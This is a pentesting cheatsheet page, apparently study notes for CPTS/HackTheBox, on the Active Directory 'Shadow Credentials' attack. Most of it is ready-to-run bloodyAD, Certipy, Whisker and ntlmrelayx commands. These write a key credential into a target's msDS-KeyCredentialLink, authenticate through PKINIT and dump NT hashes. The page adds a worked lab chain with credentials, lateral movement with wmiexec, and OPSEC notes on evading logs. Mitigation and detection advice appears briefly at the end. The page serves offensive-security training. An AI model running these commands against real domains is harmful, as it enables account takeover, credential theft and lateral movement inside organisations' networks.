AD^:Active Directory

Shadow Credentials — msDS-KeyCredentialLink Abuse

Windows Hello for Business / Key Trust lets an account authenticate with a public/private key pair stored in the AD attribute msDS-KeyCredentialLink. If…

advancedupdated 2026-08-10Rubeus · Certipy · BloodHound · faketime

Shadow Credentials — msDS-KeyCredentialLink Abuse

Quick Reference

FieldValue
CategoryACL-based Escalation / Lateral Movement (Key Trust)
DifficultyLow–Medium
Pre-requisitesGenericWrite / GenericAll / WriteProperty over the target’s msDS-KeyCredentialLink; a DC that supports PKINIT (KDC cert present — i.e. ADCS in the forest)
ToolsCertipy (shadow), Whisker, pyWhisker, ntlmrelayx, BloodyAD
OPSEC NoiseLow — one attribute write, normal PKINIT auth
One-linerWrite a Key Credential (your public key) into a target’s msDS-KeyCredentialLink, then PKINIT-authenticate as that target with the matching private key — no password reset, no ADCS template needed.

What Is Shadow Credentials?

Windows Hello for Business / Key Trust lets an account authenticate with a public/private key pair stored in the AD attribute msDS-KeyCredentialLink. If you have write over that attribute on a target user or computer (a common BloodHound ACL edge: GenericWrite, GenericAll, AllowedToAct, or WriteProperty), you can append your own Key Credential. You then authenticate as the target via PKINIT and, with UnPAC-the-hash, recover their NT hash.

It is the cleanest way to weaponise a write-ACL edge: unlike a password reset it is reversible and quiet, and unlike an ADCS ESC it needs no vulnerable template — only that PKINIT works in the forest.

Shadow Credentials attackLR
GenericWrite over target
Write Key Credentialinto msDS-KeyCredentialLink
PKINIT with yourprivate key
TGT + NT hash of target
Restore attributeclean up

Step 0 — Confirm the Edge

# BloodHound: look for GenericWrite/GenericAll/WriteProperty -> target
# Certipy/Bloodyad can also read the attribute
bloodyAD -u me -p pass -d domain.htb --host $TARGET get object 'targetuser' --attr msDS-KeyCredentialLink

Step 1 (Option A) — bloodyAD only, no Certipy

[!tip] bloodyAD does the entire attack in one command add shadowCredentials writes the Key Credential, performs PKINIT, and prints the target’s NT hash directly. It also saves a TGT ccache (or a .pfx if PKINIT fails) via --path. This fully replaces certipy shadow auto — you never need Certipy for Shadow Credentials.

bloodyAD --host dc01.domain.htb -d domain.htb -u me -p 'Passw0rd!' add shadowCredentials targetuser
[+] KeyCredential generated with DeviceID ... added to targetuser
[+] NT hash via PKINIT: a9285c625af80519ad784729655ff325
# save the recovered TGT/pfx somewhere specific
bloodyAD --host dc01.domain.htb -d domain.htb -u me -p 'Passw0rd!' add shadowCredentials targetuser --path /tmp/targetuser

# cleanup — remove the planted Key Credential
bloodyAD --host dc01.domain.htb -d domain.htb -u me -p 'Passw0rd!' remove shadowCredentials targetuser

[!warning] DC FQDN + clock skew PKINIT is Kerberos, so use the DC name (--host dc01.domain.htb, not the IP) and wrap with faketime -f '+Xh' if the clock is skewed (see faketime-cheatsheet).

Worked chain — GenericAll on a group → add self → shadow-cred members (HTB Fluffy)

# 1. GenericAll over 'Service Accounts' -> add yourself (grants GenericWrite over members)
bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u p.agila -p 'prometheusx-303' add groupMember 'Service Accounts' p.agila

# 2. Shadow-cred each service account -> NT hash, no Certipy
bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u p.agila -p 'prometheusx-303' add shadowCredentials winrm_svc
bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u p.agila -p 'prometheusx-303' add shadowCredentials ca_svc

Step 1 (Option B) — Certipy (auto: add, auth, restore)

certipy-ad shadow auto \
  -u 'me@domain.htb' -p 'Passw0rd!' \
  -dc-ip $TARGET -dc-host dc01.domain.htb \
  -account 'targetuser'

Certipy v5 — if -dc-ip alone gives [Errno 113] No route to host, add -dc-host dc01.<domain> (and -ns $TARGET), or drop -dc-ip and let Certipy resolve the DC via /etc/hosts.

[*] Adding Key Credential to 'targetuser'
[*] Authenticating as 'targetuser' via PKINIT
[*] Got TGT ...
[*] Got hash for 'targetuser@domain.htb': aad3b...:<NTHASH>
[*] Restoring the old Key Credential attribute

[!tip] auto self-cleans shadow auto adds the key, authenticates, dumps the hash, then restores the original attribute value so you leave no lingering Key Credential.


Step 2 — Manual (Certipy sub-steps / Whisker)

# Certipy granular
certipy-ad shadow add    -u me -p pass -account targetuser -dc-ip $TARGET   # returns a saved .pfx + device-id
certipy-ad shadow list   -u me -p pass -account targetuser -dc-ip $TARGET
certipy-ad shadow remove -u me -p pass -account targetuser -device-id <GUID> -dc-ip $TARGET

# Windows — Whisker
Whisker.exe add /target:targetuser
# outputs a Rubeus asktgt command with the /certificate blob -> UnPAC the hash
# During NTLM relay (relay a coerced auth straight into a Shadow Cred write)
ntlmrelayx.py -t ldap://DC01 --shadow-credentials --shadow-target 'targetuser'

Step 3 — Use It

export KRB5CCNAME=targetuser.ccache
wmiexec.py -k -no-pass DC01.domain.htb
# or Pass-the-Hash with the recovered NT hash

[!warning] Clock skew PKINIT is Kerberos. On KRB_AP_ERR_SKEW, wrap Certipy with faketime (see faketime-cheatsheet).


When It Fails

SymptomCause
KDC has no support for PADATA type (PKINIT)No KDC/enrolment cert in the forest — Key Trust unavailable. Fall back to RBCD or password reset on the edge.
Access denied writing attributeYou don’t actually have write over msDS-KeyCredentialLink (edge misread).
Auth works, no hashUnPAC step needs the U2U; Certipy does it automatically, Rubeus needs /getcredentials.

OPSEC Considerations

ActionLogNoise
Write msDS-KeyCredentialLinkEvent 5136 (attribute modify)🟡 Medium (if audited)
PKINIT authEvent 4768 with cert info🟢 Low
Restore attributeEvent 5136🟢 Low

Mitigation

  • Audit and restrict write access to msDS-KeyCredentialLink; remove unnecessary GenericWrite/GenericAll edges (BloodHound review).
  • Enable SACL auditing (5136) on the attribute and alert on writes by non-AAD-Connect principals.
  • Where Windows Hello for Business Key Trust is unused, monitor for any Key Credential additions.

See Also

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.